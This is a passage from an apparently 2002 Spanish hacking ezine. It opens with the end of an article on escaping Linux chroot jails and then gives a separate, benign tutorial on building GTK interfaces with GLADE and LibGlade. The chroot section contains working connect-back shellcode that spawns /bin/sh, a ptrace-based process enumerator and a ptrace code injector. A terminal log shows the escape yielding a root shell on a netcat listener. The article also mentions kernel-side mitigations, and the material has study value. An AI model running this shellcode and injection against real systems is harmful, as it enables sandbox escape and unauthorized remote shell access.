xorw %bx,%bx
movb AF_INET,%bl
pushl %ebx
movl %esp,%ebp
xorl %edx,%edx
movb $16,%dl
pushl %edx
pushl %ebp
movb $1,%dl
pushl %edx
movl SYS_CONNECT,%ebx
movl %esp,%ecx
int $0x80 // connect(0, {127.0.0.1, 31337}...);

xorl %ebx,%ebx
cmpl %ebx,%eax
jne exit_code

/*
* Bucle infinito que se encarga de redireccionar los datos entre
* el socket, el terminal y la shell. Usamos poll para atender a
* varios decriptores a la vez.
*/
subl $528,%esp
movl %esp,%ebp
forever:
addl $8,%esp
push %edi
movb POLLIN,%bl
xorl %eax,%eax
incl %eax
push %eax
push %ebx

movb $2,%al
movl %eax,%ecx
movb __NR_poll,%al
movl %esp,%ebx
movl $0x0fffffff,%edx
int $0x80

check_1:
movl 6(%esp),%edx
testb $38,%dl
jnz exit_code
testb POLLIN,%dl
jz check_2

xorl %eax,%eax
movb __NR_read,%al
xorl %ebx,%ebx
incl %ebx
movl %ebp,%ecx
xorl %edx,%edx
movw $512,%dx
int $0x80
movl %eax,%edx
xorl %eax,%eax
movb __NR_write,%al
movl %edi,%ebx
int $0x80

check_2:
movl 14(%esp),%edx
testb $38,%dl
jnz exit_code
testb POLLIN,%dl
jz forever

xorl %eax,%eax
movb __NR_read,%al
movl %edi,%ebx
movl %ebp,%ecx
xorl %edx,%edx
movw $512,%dx
int $0x80

movl %eax,%edx
xorl %eax,%eax
movb __NR_write,%al
xorl %ebx,%ebx
incl %ebx
int $0x80

jmp forever

child:
/*
* Duplicamos el decripto 0 a 1 y 2. El decripto 0 corresponde
* al del terminal abierto.
*/
xorl %ebx,%ebx
xorl %eax,%eax
movb __NR_dup,%al
int $0x80 // dup(0);
movb __NR_dup,%al
int $0x80 // dup(0);

/*
* Turno para ejecutar la shell!!
*/
xorl %eax,%eax
movb __NR_execve,%al
xorl %edx,%edx
push %edx
pushl $0x68732f6e
pushl $0x69622f2f
movl %esp,%ebx
push %edx
push %ebx
movl %esp,%ecx
int $0x80 // execve("
/bin/sh", {"/bin/sh", NULL}, NULL);

/*
* Si algo va mal......
*/
exit_code:
xorl %eax,%eax
incl %eax
int $0x80 // exit(0);


---/ ptmx_connect_shellcode.S /---


Ya tenemos nuestra shellcode remota. Esta es solo una de las multiples
posiblidades de codigo a inyectar que nos ayudaria a romper el chroot. Lo que
necesitamos ahora es un codigo que nos liste los pids traceables, para ello
usaremos el siguiente codigo, que prueba ptrace con con todos los pids y lee
el fichero ejecutable asociado a cada uno de ellos (lo leemos del top del
stack).


---/ list_traceable_pids.c /---

#include <stdio.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <signal.h>
#include <sys/ptrace.h>
#include <linux/user.h>

#define MAX_PATH 256

int main() {
int i;
long int *hola;
unsigned int pid;
char path[MAX_PATH];
char *path2;
for (pid=10 ; pid<0xffff ; pid++) {
/*
* Traceamos todos los procesos posibles, asegurandonos que
* no se trata del propio proceso ni la shell que lo lanza.
*/
if (pid!=getpid() && pid!=getppid() && ptrace(PTRACE_ATTACH, pid, NULL, NULL)!=-1) {
/*
* Sacamos el binario al que pertenece. Gracias a ello
* podremos, desde dentro del chroot, hacernos una
* ligera idea de lo que es el proceso.
*/
for(i=0 ; i<MAX_PATH ; i+=4) {
hola=(long int *)&path[i];
*hola=ptrace(PTRACE_PEEKDATA, pid, 0xc0000000-4-MAX_PATH+i, NULL);
}
path2=&path[MAX_PATH-1];
while(*(path2-1)) path2--;
/*
* Datacheamos... aqui no ha pasado nada :-)
*/
ptrace(PTRACE_DETACH, pid, NULL, NULL);
/*
* Mostramos los resultados por pantalla.
*/
printf("
%i - [%s]\n", pid, path2);
}

}
}

---/ list_traceable_pids.c /---


Ahora solo nos falta el programa que se encargue de inyectar el codigo
en el proceso objetivo. Voy a usar el mismo codigo que plantee como ejemplo en
el articulo sobre inyeccion de codigo en tiempo de ejecucion que podeis
encontrar en este mismo numero de la ezine, articulo al que ya hice referencia
hace un rato.

El codigo es el siguiente.


---/ ptrace_inject2.c /---

#include <stdio.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <signal.h>
#include <sys/ptrace.h>
#include <linux/user.h>

#ifndef INJECTED_LEN
#define INJECTED_LEN 0x00
#endif /* INJECTED_LEN */

void injected_code();

int main(int argc, char **argv) {
int pid;
int i;
long int *hola;
struct user_regs_struct regs;
char original_code[INJECTED_LEN]; /* Aqui se guardara el codigo original */
if (argc<2) {
printf("
Uso:\n");
printf("
\t%s <pid>\n", argv[0]);
exit(0);
}
pid=atoi(argv[1]);
/*
* Traceamos el proceso en cuestion.
*/
if (ptrace(PTRACE_ATTACH, pid, NULL, NULL)!=-1) {
printf("
[1] - Proceso atacheado\n");
/*
* Extraemos los registros.
*/
if (ptrace(PTRACE_GETREGS, pid, NULL, ®s)!=-1) {
printf("
[2] - Extraido registro eip (0x%.8x)\n", regs.eip);
/*
* Insertamos nuestro codigo guardando una copia del original.
*/
for (i=0; i<INJECTED_LEN; i+=4) {
hola=(long int *)&original_code[i];
*hola=ptrace(PTRACE_PEEKDATA, pid, regs.eip+i, NULL);
ptrace(PTRACE_POKEDATA, pid, regs.eip+i, *(int*)(injected_code+i));
}
printf("
[3] - Codigo insertado\n");
/*
* Seguimos la ejecucion del proceso para que se ejecute nuestro
* codigo.
*/
ptrace(PTRACE_CONT, pid, 0, 0);
/*
* Esperamos que el proceso nos ceda nuevamente el control (tras generar
* la interrupcion 3).
*/
waitpid(pid, NULL, 0);
printf("
[4] - Codigo ejecutado\n");
/*
* Copiamos de nuevo el codigo original.
*/
for (i=0; i<INJECTED_LEN; i+=4)
ptrace(PTRACE_POKEDATA, pid, regs.eip+i,*(int*)(original_code+i));
printf("
[5] - Restaurando codigo original\n");
/*
* Restauramos los registros que habia antes de que tocasemos nada.
*/
ptrace(PTRACE_SETREGS, pid, NULL, ®s);
printf("
[6] - Registros restaurados\n");
}
/*
* Todo finalizo... Liberamos el proceso atacheado.
*/
ptrace(PTRACE_DETACH, pid, NULL, NULL);
printf("
[5] - Detacheado\n");
}
exit(0);
}

---/ ptrace_inject2.c /---


Una vez tenemos todo esto, ya estamos totalmente preparados para ver
si esta historia funciona o no funciona. Lo primero que debemos hacer es
ejecutar un proceso fuera del chroot, nuevamente, usaremos el mismo que en
el articulo de ptrace, shit.c.


---/ shit.c /---

#include <stdio.h>

int main() {
while(1) {
printf("
Hola\n");
sleep(2);
}
}

---/ shit.c /---


Despues copiamos el netcat dentro del chroot (programa que usaremos
como cliente de la shellcode), chrooteamos y tratamos de romperlo... let's go!


barracuda /chrooted# cp /usr/bin/nc bin/nc
barracuda /chrooted# gcc list_traceable_pids.c -static -o list_traceable_pid
barracuda /chrooted# gcc shellcode.S -c
barracuda /chrooted# gcc ptrace_inject2.c -c -DINJECTED_LEN=0x18c
barracuda /chrooted# gcc shellcode.o ptrace_inject2.o -static -o break_chroot6
barracuda /chrooted# gcc shit.c -o shit ; ./shiti > /dev/null &
[1] 397
barracuda /chrooted# chroot /chrooted
barracuda /#


Tenemos ahora el entorno preparado. Al lanzar shit se ha visto el pid,
sin embargo nosotros partiremos de la base de que no sabemos el pid de dicho
proceso, pues eso se asemeja mas a una situacion real. Ahora en un terminal
dejamos un netcat escuchando el puerto 31337 y en otro hacemos...


barracuda /# ./list_traceable_pids
156 - [/sbin/syslogd]
159 - [/sbin/klogd]
166 - [/usr/sbin/gpm]
171 - [/usr/sbin/inetd]
179 - [/usr/sbin/sshd]
183 - [/usr/sbin/proftpd]
186 - [/usr/sbin/cron]
189 - [/bin/bash]
190 - [/sbin/getty]
191 - [/sbin/getty]
192 - [/sbin/getty]
193 - [/sbin/getty]
194 - [/sbin/getty]
199 - [/usr/sbin/sshd]
200 - [/bin/bash]
406 - [./shit]
barracuda /# ./break_chroot6 406
[1] - Proceso atacheado
[2] - Extraido registro eip (0x400badf1)
[3] - Codigo insertado
[4] - Codigo ejecutado
[5] - Restaurando codigo original
[6] - Registros restaurados
[5] - Detacheado
barracuda /#


Y si miramos en el terminal del netcat nos encontramos el premio....


barracuda /# nc -n -v -l -p 31337
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 1024
sh: no job control in this shell
sh-2.05a# cd /
cd /
sh-2.05a# ls
ls
System.map config initrd root vmlinuz-2.4.19
System.map-2.4.19 config-2.4.19 lib sbin vmlinuz.old
bin dev lib.tar tmp
boot etc lost+found usr
cdrom floppy mnt var
chrooted home proc vmlinuz
sh-2.05a#




6.1.- Solucionando el problema
------------------------------

Nuevamente, desde el kernel, privando del uso de la syscall ptrace en
el interior de un chroot.





7.- Matizacion final.
---------------------

Todos los codigos para romper el chroot que hemos visto estan escritos
en C, sinembargo nada nos impide crear shellcodes implementando cada uno de
los metodos descritos, que seria lo que realmente se necesita, pues suele ser
necesario romper el chroot cuando se explota algun programa vulnerable
chrooteado como podria ser un servidor FTP.

Debido, nuevamente, a la falta de tiempo no he creado las shellcodes
correspondientes, asi que si os quereis entretener y a la vez aprender
bastante ASM teneis trabajo de sobras :)





8.- Conclusiones.
-----------------

El chroot en su estado actual no se presenta como un metodo seguro
para el enjaulamiento, si bien existen parches que privan de la posibilidad
de escaparse del chroot. Si se tiene la necesidad de montar un servicio
chrooteado es MUY recomendable aplicar uno de esos parches al kernel o usar
UML (user mode linux) en lugar de chroot.

Sin nada mas que contar, me despido... un abrazo a todos.



*EOF*
|-----------------------------------------------------------------------------|
[ 7a69#14 ] [ 21-10-2002 ]
\ /
\-------------------------------------------------------------------------/
{ 12 - Programando con GLADE y LibGlade. }{ Fkt }
|-----------------------------------------------------------------------|




Hola, lo que me ha llevado a escribir este documento es que en español hay m
cha teoría sobre el tema pero he visto pocos ejemplos explicado en nuestro
idioma, por no decir ninguno, con lo cual me centraré mas en la parte prácti-
ca que en la teoría.

1. Requerimientos
2. GLADE
2.1 ¿Qué es?
2.2 Haciendo Una Interfaz Gráfica
2.3 Modificando Una Interfaz Gráfica Ya Existente
3. LibGlade
3.1 Introducción
3.2 Dando forma
3.3 Como Compilar Nuestro Programa
3.4 Soportes
3.4.1 GNOME
3.5 Recuperando Widgets
3.6 Definiendo y Manejando Signals
4. Ejemplos De Widgets GTK+ 1.2
4.1 GtkLabel
4.2 GtkButton
4.3 GtkToggleButton
4.4 GtkEntry
4.5 GtkSpinButton
4.6 GtkCombo
4.7 GtkText
5. Ejemplos Widgets De GNOME
5.1 GnomeAppBar
5.2 GnomeDateEdit
6. Conclusión
7. Bibliografía

Bueno pues empecemos...

1. Requerimientos

Doy por hecho que el lector tiene, por lo menos, conocimientos básicos de C.
Para seguir el documento se necesitará una maquina con X-Windows donde correr
GLADE obviamente y si se quiere probar los Widgets de GNOME pues tener GNOME.

2. GLADE

2.1 ¿Qué Es?

Bueno como dije antes no me extenderé en la parte teórica asi que lo explica-
ré a mi manera sin caer en definiciones técnicas. GLADE es un IDE para crear
el interfaz gráfico de una aplicación fácilmente usando GTK y asi permitir al
programador que se centre en lo que es realmente el _core_ del programa. Lo
que quiere decir que con unos pocos de clicks nuestro programa de consola
tendrá una bonito aspecto en las X-Windows ;)

2.2 Haciendo una Interfaz Gráfica

Ahora ejecutamos glade desde un terminal y vemos que nos salen 3 ventanas: la
de Propiedades (Properties), la Paleta de Widgets (Palette) y la Principal
donde podremos guardar nuestro proyecto y demás.
Paso a explicar la parte que he definido como Principal: en el menú File creo
que están todas las opciones claras excepto la de Build Source Code y la de
Project Options, con lo que solo explicaré esas dos; la opción de Build Sour-
ce code no la usaremos porque aparte de que el código que genera el GLADE es
dificil de manejar, por lo que tengo entendido en GLADE 2 esta opción se qui-
tará; pinchamos en Project Options y en la pestaña General vemos que le pode-
mos cambiar el nombre la proyecto, cambiarlo de carpeta, etc... Lo de langua-
ge nos da igual porque no vamos a usar la opción de Build Source Code. Si
queremos soporte GNOME pues marcariamos la casilla de Enable Gnome Support
pero como eso lo vamos a hacer luego a mano pues esa opción también es indi-
ferente como la pongais. Las otras 2 opciones tampoco las usaremos porque co-
mo ya he dicho varias veces no vamos a usar el Build Source Code.
Bueno la ventana de Propiedades varia según el widget que estemos usando y en
la Paleta pues están los widgets que tendremos a nuestra disposición. Otra
vetana que nos puede ser bastante útil es la de Show Widget Tree que la po-
dremos activar dandole a View, Show Widget Tree y nos muestra en estructura
de árbol la jerarquia de los Widgets.
Una vez puesto a punto el entorno donde trabajaremos ya podemos hacer nuestra
primera aplicación gráfica para ello en la Paleta pincharemos en GTK+ Basic y
pincharemos el Widget Window, ahora si colocaramos otro Windget en la vetana
que acabamos de crear ocuparía toda la ventana, ésto es porque en GLADE hay
que ir poniendo Containers y ahi meter los Widgets. Pues nada eso vamos a ha-
cer asi que como nuestro fin es hacer una aplicación que abra un simple so-
cket a un host y a un puerto determinado pues pinchamos en el container Ver-
tical Box que divide la pantalla verticalmente, cuando pinchamos nos sale un
cuadro de diálogo que nos pide cuantas filas (rows) queremos poner, le deci-
mos que 3, en la de arriba pondremos una toolbar con 2 botones asi que pin-
chamos en el widget toolbar, pinchamos en la división de arriba y cuando nos
pida el número de botones le decimos que 2. Ahora pondremos los botones a la
toolbar, para ello pinchamos en el widget button y a continuación en el lugar
de la toolbar donde lo queramos poner, buag! pero que icono mas feo nos ha
salido, para cambiarlo seleccionamos el botón y nos vamos a la ventana de
propiedades, en Icon le damos a la lista desplegable donde nos saldrán varios
iconos prediseñados (también podemos nosotros diseñar nuestro propio icono),
pinchamos en el Close, ahora en Label pondremos "
Salir", y en Name pondremos
"
salir_boton" para luego identificarlo mejor al manejar las signals. Ahora ha
cemos lo mismo para añadir el otro botón, esta vez le pondremos de icono el
prediseñado Help, en Label "
Acerca De..." y en Name "about_boton". Ahora la
división del medio la dividiremos en en 2 con el container Horizontal Box,
pinchamos en Horizontal Box, luego en la división del medio y le decimos que
lo divida en 2 columnas, ahora con esas 2 subdivisiones haremos lo mismo y
dividiremos cada una en 2 de nuevo con el Horizontal Box. Bueno espero que no
os hayais liado demasiado ;), la aplicación debería quedar como el <scr1.png>
Sino os te queda igual pues repasa los pasos anteriores :)
Ahora en la division del medio de más a la izquierda pondremos un widget la-
bel para ello pinchamos en la Paleta en el widget Label y luego en la divi-
sión donde lo queremos meter, lo seleccionamos y le cambiamos el Label a
"
Host" y el X Pad lo ponemos a 7 para que no nos salga muy pegado al borde.
Lo siguiente que haremos será meter un campo de texto al lado de "
Host" asi
que pinchamos en el widget Text Entry y luego en la división que hay al lado
del Label "
Host", al Text Entry en las Propiedades, en la pestaña Place pon-
dremos de Padding 7 para que no quede pegado al siguiente widget y de Name
pondremos "
host_text". Bueno ahora haremos lo mismo que con el label Host y
el Text Entry en las 2 otras divisiones solo que al Label le pondremos de
Label "
Puerto" y al Text Entry de Name "puerto_text". Bueno llegado a este
punto la Aplicación tiene que estar como <scr2.png>.
Ahora en la división de abajo pondremos un botón, asi que pinchamos en el
widget button y luego en la división de abajo, ahroa nos vamos a la ventana
de Propiedades y en Stock Button seleccionamos OK y nos saldrá un botón ya
prediseñado y le cambiaremos el Name a "
aceptado". Ahora cambiaremos en nom-
bre de la primera vetana que creamos para ello nos vamos al Widget Tree y
seleccionamos window1 y en las Propiedades cambiamos el Tittle a "
Socket". Y
ya hemos terminado nuestro interfaz gráfico que nos tendría que quedar como
en <src3.png>.
Para guardarlo de le damos al icono Save de la vetana Principal del GLADE y
nos guarda un archivo project1.glade en XML que luego "
engancharemos" con Lib
Glade.

2.3 Modificando Una Interfaz Gráfica Ya Existente

Vaya! resulta que se nos ha olvidado poner algún widget para saber si el so-
cket ha podido conectar o no, o simplemente si se ha podido crear o no, pues
no hay problema!, abrimos con el GLADE el archivo project1.glade, hacemos do-
ble click en el window1 que sale en la ventana principal del GLADE y nos sale
nuestro proyecto tal y como lo dejamos. Lo que haremos será añadir una divi-
sión abajo y poner una barra de status, para ello vamos al Widget Tree y bus-
camos el container vbox1 (Vertical Box 1) y lo seleccionamos, ahora vamos a
las Propiedades y en Size le ponemos un 4 e voila! ya hay una división mas
abajo ;), ahora en la Paleta pinchamos en Gnome ya que vamos a poner una Gno-
me Application Bar que queda mas bonita que una StatusBar de GTK Basic ;), y
luego pinchamos en la división que hemos hecho abajo. En las Propiedades de
la GnomeAppBar le pondremos de Name "
status_bar" para identificarla mejor y
le quitamos el Progress porque no lo vamos a utilizar ya que nuestra aplica-
ción es demasiado sencilla, en los ejemplos de los widgets explicaré como
usar todo de la GnomeAppBar.
Joder!! se nos ha olvidado también hacer una ventanita de "
Acerca de..." para
cuando pinchen en el botón asi que vamos a hacerla, nos vamos a la paleta a
Gnome porque ya trae una prediseñada y nos quita trabajo ;), pinchamos en el
widget Gnome About Dialog y nos sale una bonita ventana de about ;=), la se-
leccionamos y en las Propiedades, en Author pondreis vuestro nombre y en co-
mments pondremos "
Mi primer programa en GTK+". Ahora si tenemos la interfaz
terminada asi que la guardamos y nos tiene que haber quedado como <scr4.png>.
Como habeis podido comprobar es sumamente fácil agregar cosas a un programa
que se ha quedado obsoleto o que simplemente queremos que haga mas cosas.

3. LibGlade

3.1 Introducción

LibGlade nos permitirá "
enganchar" el XML que crea el GLADE para luego hacer
lo que queramos con él en muchos lenguajes de programación aunque en este do-
cumento solo trataremos como se hace en C.

3.2 Dando Forma

Bueno ahora entraremos en a verdadera "
chicha" de la aplicación que estamos
creando, vamos a escribir el código que nos permitirá manejar nuestra aplica-
ción gráfica desde C, el código es el siguiente:

#include <gtk/gtk.h>
#include <glade/glade.h>

#define FICH_GLADE "
project2.glade"

GladeXML *prog;

int main(int argc, char *argv[]) {

gtk_init(&argc, &argv);
glade_init();

prog=glade_xml_new(FICH_GLADE, NULL);
glade_xml_signal_autoconnect(prog);

gtk_main();
return 0;
}

NOTA: No voy a explicar ningún código entero solo lo que hacen las funciones
a las que hace referencia el título de este documento, ya se dijo al
principio que se requerian unos básicos conocimientos en C.

En el #define de FICH_GLADE pondremos en archivo XML que generó el GLADE, en
mi caso project2.glade, definimos un puntero a la estructura GladeXML que
usaremos para "
enganchar" el XML y luego usarla desde otros archivos del pro-
yecto para manejar los widgets (de ahí que la definamos como variable global)
La función glade_xml_new crea un nuevo objeto GladeXML con sus correspondien-
tes widgets a partir de FICH_GLADE. glade_xml_signal_autoconnect conecta las
signals que hayamos puesto con sus correspondientes widgets. gtk_main entra
en un loop esperando a que suceda algún evento en las X-Windows como que ha-
gan click en un boton del programa.

3.3 Como Compilar Nuestro Programa

Una vez tenemos ya hecho el main.c vamos a compilarlo:
gcc -o socket main.c `libglade-config --cflags --libs`

lo que hace el comando libglade-config --cflags --libs es imprimir por panta-
lla donde están las librerias necesarias y las librerias que tiene que linkar
para que compile el programa.
Una vez lo tenemos compilado lo ejecutamos.... y.... oohhh!! que le ha pasado
a mi programa!!! no salen los dibujitos y ademas cuando lo ejecuta me da 2
warnings:

** WARNING **: unknown widget class 'GnomeAppBar'

** WARNING **: unknown widget class 'GnomeAbout'

Bien, ésto pasa porque los widgets GnomeAppBar y GnomeAbout son de Gnome y
nuestro programa no tiene soporte para Gnome. El main.c que hemos hecho ser-
viría si solo usasemos widgets de GTK+ Basic y sin usar botones e iconos pre-
definidos. Para cerra nuestro programa hacemos un Control+C en la consola
donde lo hayamos ejecutado ya que aún no le hemos puesto signals para que se
cierre pinchando en un botón.

3.4 Soportes

3.4.1 GNOME

Como hemos comprobado nuestro programa necesita que le pongamos soporte para
Gnome asi que eso es lo que haremos y el código quedaría así:

#include <gtk/gtk.h>
#include <glade/glade.h>
#include <gnome.h>

#define FICH_GLADE "
project2.glade"
#define VERSION "
0.1"

GladeXML *prog;

int main(int argc, char *argv[]) {

gnome_init ("
Socket", VERSION, argc, argv);
glade_gnome_init();

prog=glade_xml_new(FICH_GLADE, NULL);
glade_xml_signal_autoconnect(prog);

gtk_main();
return 0;
}

Vemos que hemos añadido un #include que creo que es obvio y un #define más pa
ra indicar la versión de nuestro programa, hemos cambiado gtk_init por
gnome_init para que en el diálogo de about nos diga el nombre de nuestro pro-
grama y la versión, y por último hemos cambiado glade_init por
glade_gnome_init. Ahora lo compilamos...
gcc -o socket main.c `libglade-config --cflags --libs gnome`

Ahora ejecutamos el programa y ya si sale como nosotros queriamos pero nos
sale la ventana de "
Acerca De..." al iniciar el programa, esto tenemos que
arreglarlo.
Para arreglarlo se me ocurre que para practicar algo de código y tal, lo bo-
rraremos del GLADE asi que abrimos nuestro proyecto con el GLADE y en el Wid-
get Tree le damos con el botón derecho del ratón a about1 y pinchamos en Dele
lete y guardamos nuestro proyecto. Ahora haremos una función que genere el
diálogo de about cuando nosotros queramos:

GtkWidget* crear_about(void) {
const gchar *authors[]={ "
fkt", NULL };
GtkWidget *about;

about=gnome_about_new("
Socket", VERSION,
"",
authors,
_("
<fkt@funfatal.org>"),
NULL);

return about;
}

Es una función que devuelve un widget, authors es un registro que hay que re-
llenar para luego al crear la ventana de about, gnome_about_new devuelve un
widget, Socket es el nombre del programa, VERSION la versión, authors la es-
tructura que hemos rellenado antes y lo otro mi mail.

3.5 Recuperando Widgets

Supongamos que queremos recuperar el Widget button que le llamamos salir_bo-
ton pues se haría de la siguiente manera:

GtkWidget *salir_boton;

salir_boton=glade_xml_get_widget(prog, "
salir_boton");

Hemos definido un widget salir_boton donde almacenaremos lo que nos devuelva
la función glade_xml_get_widget que, en este caso, lo que hace es devolver el
widget que le corresponda a salir_boton en el GladeXML prog y ya podemos ha-
cer lo que queramos con él.
Como habeis podido comprobar es bastante fácil recuperar los widgets que he-
mos definido en el GLADE y jugar con ellos.

3.6 Definiendo y Manejando Signals

Todo esto esta muy bien pero... para que sirve si luego no podemos hacer que
si clickeas en un widget botón nos salga la ventana de about por ejemplo?
Bien, pues para ésto están las signals, para definirlas lo haremos en el GLA-
DE ya que luego el LibGlade con glade_xml_signal_autoconnect se encargará de
conectarlas a sus respectivos widgets. Así que abrimos el GLADE con nuestro
proyecto, hacemos doble click en window1 y seleccionamos el boton de acerca
de..., nos vamos a la ventana de Propiedades a la pestaña de Signals y en el
campo Signal le damos a los puntos suspensivos para que nos salga la lista de
signals de ese widget, vemos que tenemos el signal clicked, enter, leave, pre
ssed y released, a nostros el que nos viene mejor es el clicked asi que lo
seleccionamos y le damos a añadir (add), hacemos lo mismo con el boton de Sa-
lir y con el de OK.
Ya tenemos las signals que necesitamos definidas, ahora guardamos el proyecto
y haremos un main.h donde pondremos los widgets que recuperaremos en main.c
y luego usaremos en otros .c, pero antes modificaremos el main.c para recupe-
rar los widgets que vamos a usar y ademas añadiremos una llamada a la función
gnome_appbar_status para poner en la barra de status "
Listo." cuando ejecute-
mos el programa, con lo que el main.c quedaría:

#include <gtk/gtk.h>
#include <glade/glade.h>
#include <gnome.h>

#define FICH_GLADE "
project2.glade"
#define VERSION "
0.1"

GladeXML *prog;
GtkWidget *about, *salir_boton, *about_boton, *aceptado, *puerto_text,
*host_text, *status_bar, *window1;

int main(int argc, char *argv[]) {

gnome_init ("
Socket", VERSION, argc, argv);
glade_gnome_init();

prog=glade_xml_new(FICH_GLADE, NULL);
glade_xml_signal_autoconnect(prog);
salir_boton=glade_xml_get_widget(prog, "
salir_boton");
about_boton=glade_xml_get_widget(prog, "
about_boton");
aceptado=glade_xml_get_widget(prog, "
aceptado");
puerto_text=glade_xml_get_widget(prog, "
puerto_text");
host_text=glade_xml_get_widget(prog, "
host_text");
status_bar=glade_xml_get_widget(prog, "
status_bar");
window1=glade_xml_get_widget(prog, "
window1");
about=glade_xml_get_widget(prog, "
about1");
gtk_widget_destroy(about);
gnome_appbar_set_status(GNOME_APPBAR(status_bar),"
Listo.");

gtk_main();
return 0;
}

GtkWidget* crear_about(void) {
const gchar *authors[]={ "
fkt", NULL };
GtkWidget *about;

about=gnome_about_new("
Socket", VERSION,
"",
authors,
_("
<fkt@funfatal.org>"),
NULL);

return about;
}

Y el main.h será el siguiente:

#include <gnome.h>
#include <gtk/gtk.h>
#include <glade/glade.h>

GtkWidget* crear_about(void);
GtkWidget *about, *salir_boton, *about_boton, *aceptado, *puerto_text,
*host_text, *status_bar, *window1;

NOTA: Esto se podría haber hecho poniendo en el .h el GladeXML y luego desde
los otros .c recuperar los widgets o también se podría hacer hasta sin
tener un .h, pero creo que así esta mejor estructurado con lo cual en
nuestro ejemplo se hará así.

Ahora crearemos un fichero principal.c donde controlaremos las signals y crea
remos el socket.
Las funciones que controlarán las signals se llamarán como hemos definido en
el GLADE, por ejemplo para cuando se haga click en el boton de salir de la
ToolBar se ejecutará la siguiente función:

void on_salir_boton_clicked (GtkButton *button, gpointer user_data) {
<instrucciones_a_ejecutar>;
}

Los prototipos de las signals asi como las propiedades de cada widget las po-
deis ver en las Referencias que pondré al final, aunque en los ejemplos de
widgets trataré de explicar la gran mayoría (todas no porque sino este docu-
mento sería interminable ;)).

Bueno ahi va el fichero principal.c:

/* Includes para el socket y atoi() */
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <stdlib.h>

#include "
main.h"

/* Función para resolver un host que me prestó Ripe */
unsigned long resolv(char *name); // Thx A Ripe

/* Función que se encarga de conectar el socket */
unsigned int conecta(struct sockaddr_in addr);

/* Función que se ejecutará cuando se haga click en salir_boton */
void on_salir_boton_clicked (GtkButton *button, gpointer user_data) {
gtk_exit(0); // Termina el programa
}

/* Función que se ejecutará cuando se haga click en about_boton */
void on_about_boton_clicked (GtkButton *button, gpointer user_data) {
about=crear_about(); // Creamos el diálogo de about
gtk_widget_show(about); // Y lo mostramos
}

/* Función que se ejecutará cuando se haga click en aceptado */
void on_aceptado_clicked

  
(GtkButton *button, gpointer user_data) {
struct sockaddr_in addr;
unsigned int ret; // control de errores
char tmp[1024];

/* gtk_entry_get_text devuelve un gchar* que se corresponde con con lo */
/* que el usuario ha escrito en el widget que se le pasa como parámetro */
/* lo de GTK_ENTRY es para conersión de tipos y que el compilador no de */
/* warning, lo vereis en muchas funciones */
addr.sin_addr.s_addr=resolv(gtk_entry_get_text(GTK_ENTRY(host_text)));
addr.sin_port=htons(atoi(gtk_entry_get_text(GTK_ENTRY(puerto_text))));
addr.sin_family=AF_INET;

if (addr.sin_addr.s_addr==INADDR_NONE) {
ret=1;
} else {
ret=conecta(addr);
}

if (ret) {
snprintf(tmp,1024,"NO Se Ha Podido Conectar a %s", inet_ntoa(addr.sin_addr));
/* gnome_appbar_set_status pone el gchar *tmp en el widget status_bar */
gnome_appbar_set_status(GNOME_APPBAR(status_bar),tmp);
} else {
snprintf(tmp,1024,"Se Ha Conseguido Conectar a %s", inet_ntoa(addr.sin_addr));
gnome_appbar_set_status(GNOME_APPBAR(status_bar),tmp);
}
}

unsigned long resolv(char *name) {
unsigned long ip;
struct hostent *he=NULL;
ip=INADDR_NONE;
if (!inet_aton(name, (struct in_addr *)&ip)) {
he=gethostbyname (name);
if (he != NULL) memcpy (&ip, he->h_addr, sizeof (ip));
}
return ip;
}

unsigned int conecta(struct sockaddr_in addr) {
int sockfd;

if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)
return 1;

if (connect(sockfd,(struct sockaddr *)&addr, sizeof(struct sockaddr))==-1)
return 1;

close(sockfd);

return 0;
}

Bueno creo que el código es bastante simple y esta bien comentado asi que no
creo que haya dudas, para compilar nuestro flamante programa haremos:

gcc `libglade-config --cflags gnome` -g -O2 -Wall -c main.c
gcc `libglade-config --cflags gnome` -g -O2 -Wall -c principal.c
gcc `libglade-config --libs --cflags gnome` -g -O2 -Wall -o socket main.o principal.o

Ha costado pero por fin tenemos nuestra primera aplicación gráfica ;)

4. Ejemplos De Widgets GTK+ 1.2

En este apartado pondré algunos ejemplos de como usar las funciones y signals
de _algunos_ widgets, porque como dije antes... si pusiese todos este documen
to se haría interminable, aun así animo a cualquier persona que tenga conoci-
mientos sobre el tema a que escriba sobre los widgets que me deje yo en el
tintero. Tampoco explicaré funciones que se derivan de propiedades, por ejem-
plo para el widget Label para justificar el texto a la derecha en realidad se
hace llamando a la función gtk_label_set_justify pero eso se puede hacer fa-
cilmente con el GLADE en la ventana de Propiedades; ni tampoco funciones que
hace el GLADE automáticamente al poner le widget como la de crearlo.

4.1 GtkLabel

-¿Qué es?:

Etiqueta.

-Funciones:

De aquí la única función que explicaré es gtk_label_get que lo que hace es po
ner en un gchar que nosotros le demos el texto del label del widget. Por ejem
plo si la propiedad label del widget tiene de contenido "OK" y el nombre (na-
me) es "label1" pues haciendo gtk_label_get(GTK_LABEL(label1), buf); tendría-
mos en buf "OK". El prototipo de esta función es:
void gtk_label_get(GtkLabel *label, gchar **buf);

-Propiedades:

+ justify: Justifica el texto, las macros que permiten hacer esto son:
GTK_JUSTIFY_LEFT, GTK_JUSTIFY_RIGHT, GTK_JUSTIFY_CENTER y GTK_JUSTIFY_FILL.
Se puede hacer facilmente desde la ventana de propiedades del GLADE.

+ label: Contiene el texto que tendrá la etiqueta. También se cambia facilmen
con el GLADE.

+ pattern: Se usa mucho en los menús, es subrayar la letra que al darle hará
la misma función que si dieramos un click con el ratón. Es facilmente modi-
ficable en el GLADE.

4.2 GtkButton

-¿Qué es?:

Botón Simple.

-Funciones:

+ gtk_button_presed:
· Prototipo
void gtk_button_pressed(GtkButton *button);

Esta función manda el signal pressed al widget button.

+ gtk_button_released:
· Prototipo
void gtk_button_released(GtkButton *button);

Manda el signal released al widget button.

+ gtk_button_clicked:
· Prototipo
void gtk_button_clicked(GtkButton *button);

Manda el signal clicked al widget button.

+ gtk_button_enter:
· Prototipo
void gtk_button_enter(GtkButton *button);

Manda el signal enter al widget button.

+ gtk_button_leave:
· Prototipo
void gtk_button_leave(GtkButton *button);

Manda el signal leave al widget button.

Un ejemplo de estas funciones anteriores podría ser:
gtk_button_clicked(GTK_BUTTON(boton_salida));
